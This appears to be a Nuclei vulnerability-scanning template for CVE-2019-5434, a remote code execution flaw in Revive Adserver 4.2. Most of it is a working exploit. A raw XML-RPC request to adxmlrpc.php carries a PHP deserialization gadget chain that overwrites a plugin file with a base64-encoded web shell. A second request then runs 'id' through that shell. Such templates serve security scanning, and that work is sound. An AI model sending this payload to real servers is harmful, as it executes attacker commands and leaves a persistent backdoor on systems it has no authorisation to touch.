id: CVE-2019-5434

info:
  name: Revive Adserver 4.2 - Remote Code Execution
  author: omarjezi
  severity: critical
  description: |
    Revive Adserver 4.2 is susceptible to remote code execution. An attacker can send a crafted payload to the XML-RPC invocation script and trigger the unserialize() call on the "what" parameter in the "openads.spc" RPC method. This can be exploited to perform various types of attacks, e.g. serialize-related PHP vulnerabilities or PHP object injection. It is possible, although unconfirmed, that the vulnerability has been used by some attackers in order to gain access to some Revive Adserver instances and deliver malware through them to third-party websites.
  reference:
    - https://packetstormsecurity.com/files/155559/Revive-Adserver-4.2-Remote-Code-Execution.html
    - https://www.exploit-db.com/exploits/47739
    - https://www.revive-adserver.com/security/revive-sa-2019-001/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-5434
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-5434
    cwe-id: CWE-502
  metadata:
    max-request: 2
    shodan-query: http.favicon.hash:106844876
    verified: "true"
  tags: edb,packetstorm,cve,cve2019,revive,adserver,rce

http:
  - raw:
      - |
        POST /adxmlrpc.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip

        <?xml version="1.0" encoding="ISO-8859-1"?> <methodCall> <methodName>openads.spc</methodName> <params> <param> <value> <struct> <member> <name>remote_addr</name> <value>8.8.8.8</value> </member> <member> <name>cookies</name> <value> <array> </array> </value> </member> </struct> </value> </param> <param><value><string>a:1:{S:4:"what";O:11:"Pdp\Uri\Url":1:{S:17:"\00Pdp\5CUri\5CUrl\00host";O:21:"League\Flysystem\File":2:{S:7:"\00*\00path";S:55:"plugins/3rdPartyServers/ox3rdPartyServers/max.class.php";S:13:"\00*\00filesystem";O:21:"League\Flysystem\File":2:{S:7:"\00*\00path";S:66:"x://data:text/html;base64,PD9waHAgc3lzdGVtKCRfR0VUWyIwIl0pOyA/Pg==";S:13:"\00*\00filesystem";O:29:"League\Flysystem\MountManager":2:{S:14:"\00*\00filesystems";a:1:{S:1:"x";O:27:"League\Flysystem\Filesystem":2:{S:10:"\00*\00adapter";O:30:"League\Flysystem\Adapter\Local":1:{S:13:"\00*\00pathPrefix";S:0:"";}S:9:"\00*\00config";O:23:"League\Flysystem\Config":1:{S:11:"\00*\00settings";a:1:{S:15:"disable_asserts";b:1;}}}}S:10:"\00*\00plugins";a:1:{S:10:"__toString";O:34:"League\Flysystem\Plugin\ForcedCopy":0:{}}}}}}}</string></value></param> <param><value><string>0</string></value></param> <param><value><string>dsad</string></value></param> <param><value><boolean>1</boolean></value></param> <param><value><boolean>0</boolean></value></param> <param><value><boolean>1</boolean></value></param> </params> </methodCall>

      - |
        GET /plugins/3rdPartyServers/ox3rdPartyServers/max.class.php?0=id HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body_2
        regex:
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'

      - type: word
        part: header_2
        words:
          - "text/html"

      - type: status
        status:
          - 200

# Enhanced by md on 2023/03/13